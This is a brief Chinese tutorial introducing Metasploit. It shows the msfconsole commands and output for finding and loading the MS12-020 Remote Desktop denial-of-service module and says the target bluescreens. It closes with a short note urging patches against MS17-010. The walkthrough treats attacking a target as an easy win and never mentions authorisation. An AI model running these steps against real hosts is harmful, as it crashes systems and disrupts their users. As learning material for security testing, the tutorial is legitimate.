Metasploit

Metasploit是什么？Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它是附带数百个已知软件漏洞的专业级漏洞攻击工具。

如果这样很难理解，我们换个说法；每天都有无数的漏洞被发现，如果我们每个人都收集几种并汇聚到一起，修改为相同的操作方式，这就是msf在做的；msf初衷是做一个攻击工具开发平台，但现在更多的情况下msf沦为了业余安全爱好者和安全专家的武器库，只需要点几下鼠标，就能入侵成功。

MS12-020

MS12-020是一个针对远程桌面(RDP)协议的漏洞，其最严重的情况可能会造成远程执行代码，而通常情况下会造成对方蓝屏。

利用方法

msfconsole 从终端进入msf框架

查找漏洞代码

msf > search 12_020[!] Module database cache not built yet, using slow searchMatching Modules================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal MS12-020 Microsoft Remote Desktop Use-After-Free DoS auxiliary/scanner/rdp/ms12_020_check normal MS12-020 Microsoft Remote Desktop Checker

使用该漏洞利用代码

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

查看使用方法

msf auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show optionsModule options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 3389 yes The target port (TCP)

漏洞模块为auxiliary/dos/windows/rdp/ms12_020_maxchannelids

参数为 RHOST目标地址，RPORT目标端口。

设置参数

攻击完成

对方蓝屏

MS12-020是msf中利用比较简单的一种，可以用来学习msf的框架的简单使用方法，又能快速增加入侵成功的成就感。

MS17-010(永恒之蓝)

永恒之蓝是2017年席卷全球的勒索软件的罪魁祸首，是微软近些年来最为严重的远程代码执行漏洞，可以直接获得系统权限，请所有IT从业人员在任何时候都要打满补丁以绝后患。
